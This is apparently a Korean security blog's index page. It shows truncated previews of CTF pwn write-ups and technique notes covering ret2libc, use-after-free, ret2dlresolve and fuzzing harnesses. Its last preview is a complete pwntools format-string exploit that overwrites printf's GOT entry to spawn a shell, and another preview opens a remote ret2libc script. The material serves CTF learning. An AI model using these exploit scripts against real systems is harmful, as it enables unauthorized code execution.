yes_or_no

HackCTF 2021. 12. 30. 01:09

from pwn import * context.log_level = 'debug' p = remote("ctf.j0n9hyun.xyz" ,3009) e = ELF('./yes_or_no') libc = ELF('libc-2.27.so') pr = 0x400883 #오프셋은 libc database search 이용 puts_plt = e.plt['puts'] puts_got = e.got['puts'] system_offset = 0x04f440 binsh_offset = 0x1b3e9a puts_offset = 0x0809c0 ret = 0x400611 p.recvuntil("number~!") p.sendline("9830400") p.recvuntil("me") payload = "A"*26 pay..

Pwning

HackCTF 2021. 12. 30. 01:09

get_n 함수 작동 원리 인자를 2개를 받는다. get_n(int paran_1, unsingned int param_2) 문자를 하나 입력받고, char형 변환을 하여 cVar1에 저장. (cVar1 == '\0' || cVar == '\n' || paran_2 ≤= 0)이면 break; vuln함수 작동 원리 char local_30, int local_10 값을 입력받고, 그 값을 local_30에 저장 → local_30의 값을 문자열로 변환 → local_10에 저장. local_10 < 0x21이면 get_n 호출(local_30, local_10) 이때 여기서 get_n의 2번째 인자는 unsigned이지만, local_10은 int이다. 이때 음수를 넣어주면 overflow발생. unsi..

2021 HackTheBox - arachnoid_heaven

CTF 풀지못한 문제 - pwn 2021. 12. 20. 12:12

요약 UAF를 이용하는 문제 분석 create_arachnoid ppvVar1 = (void **)malloc(0x10); pvVar2 = malloc(0x28); *ppvVar1 = pvVar2; pvVar2 = malloc(0x28); ppvVar1[1] = pvVar2; printf("%s","\nName: "); read(0,*ppvVar1,20); strcpy((char *)ppvVar1[1],defaultCode); lVar3 = (long)(int)arachnoidCount; pvVar2 = ppvVar1[1]; *(void **)(arachnoids + lVar3 * 0x80) = *ppvVar1; *(void **)(arachnoids + lVar3 * 0x80 + 8) = pvVar2;..

Article Thumbnail
pwntools - ret2dlresolve

Technique 2021. 12. 13. 19:34

Return to dl resolve 공격을 할때, 공격을 좀더 쉽게 해주는 라이브러리? 이다. https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html pwnlib.rop.ret2dlresolve — Return to dl_resolve — pwntools 4.7.0 documentation A Ret2dlresolvePayload object which can be passed to rop.ret2dlresolve docs.pwntools.com from pwn import * context.binary = elf = ELF('바이너리') rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf, ..

2021 SECCON CTF - Kasu bof

CTF 풀지못한 문제 - pwn 2021. 12. 13. 17:46

요약 return to dl resolve pwntools - pwnlib.rop.ret2dlresolve 라이브러리 이용 분석 #include int main(void) { char buf[0x80]; gets(buf); return 0; } 코드는 이게 전부이다. gets를 이용하여 bof를 일으키고, return to dl resolve를 이용하는거 같다. 나는 return to dl resolve에 대한 개념을 전혀 몰랐었고, lazenca에서 설명하는 부분을 기반으로 코드를 작성하였지만 전혀 되지 않았다. from pwn import * from struct import * context.arch="x86_64" e = ELF('./chall') # get section address addr_..

Article Thumbnail
Return to dl resolve

Technique 2021. 12. 13. 01:48

요약 Lazy binding을 악용하여 원하는 함수를 호출할 수 있는 공격. _dl_rumtime_resolve 함수를 조작된 reloc_arg 로 호출 하여 원하는 함수를 호출 하도록 하는 기법 사전지식 Lazy binding Dynamic Linking 방식으로 컴파일 된 ELF 바이너리는 공유 라이브러리 내에 위치한 함수의 주소를 동적으로 알아오기 위해 GOT(Global Offset Table) 테이블을 이용하는데, 이렇게 모든 외부 함수의 주소를 한 번에 로딩하지 않고, 함수 호출 시점에 해당 함수의 주소만 공유 라이브러리로부터 알아오는 것은 Lazy Binding이라고 합니다. Lazy binding을 사용하면 라이브러리의 내용을 전부 메모리에 매핑하는게 아닌 실행때 필요한 함수의 주소만 알아..

Article Thumbnail
PDF Reader 퍼징 도전기(3) - Harness 작성

Fuzzing 2021. 12. 2. 17:31

한글로 작성되어 있는 pdf파일을 hwp로 변환했을때, pdf2hwpA에서 멈춘다. 즉 변환할때 pdf2hwpA라는 함수를 사용하고, 이 함수를 잘 이용해서 harness를 작성해보면 될거같다. Ghidra로 본 Decompile된 함수의 모습이다. void __cdecl pdf2hwpA(char *param_1,char *param_2,int param_3,int *param_4) iVar3 = FUN_1006f7a0(param_1,&stack0xfffffdf0,param_3,param_4); if (iVar3 == 0) { cVar1 = FUN_1000b410((LPCSTR)(&uStack270 + 1)); if (cVar1 != '\0') { FID_conflict:_wprintf("%s","suc..

Article Thumbnail
gdb로 C++ 바이너리 분석시 함수 깨질때

Technique 2021. 12. 2. 01:51

set print asm-demangle on

Killer Queen CTF 2021 Write-Up

CTF-Writeup 2021. 10. 30. 14:20

후기 정말 최악이였다... pwn문제는 3~4개 풀었는데 거의 3시간 넘게 서버가 다운되고 거의 대회 초반부터 remote 서버 주소를 주지 않아 계속 기다리다가 그냥 잤다.. PWN A kind of magic undefined8 main(void) { char local_38 [44]; uint local_c; local_c = 0; puts("Is this a kind of magic? What is your magic?: "); fflush(stdout); fgets(local_38,0x40,stdin); printf("You entered %s\n",local_38); printf("Your magic is: %d\n",(ulong)local_c); fflush(stdout); if (local..

Article Thumbnail
SSF 2018 FSB

Pwnable 2021. 10. 17. 20:58

from pwn import * context.log_level = 'debug' p = process('./fsb') e = ELF('./fsb') shell = 4196006 printf_got = e.got['printf'] payload = "%4196006d" payload += "%8$ln" payload += "\x00"*2 payload += p64(printf_got) p.sendline(payload) p.interactive()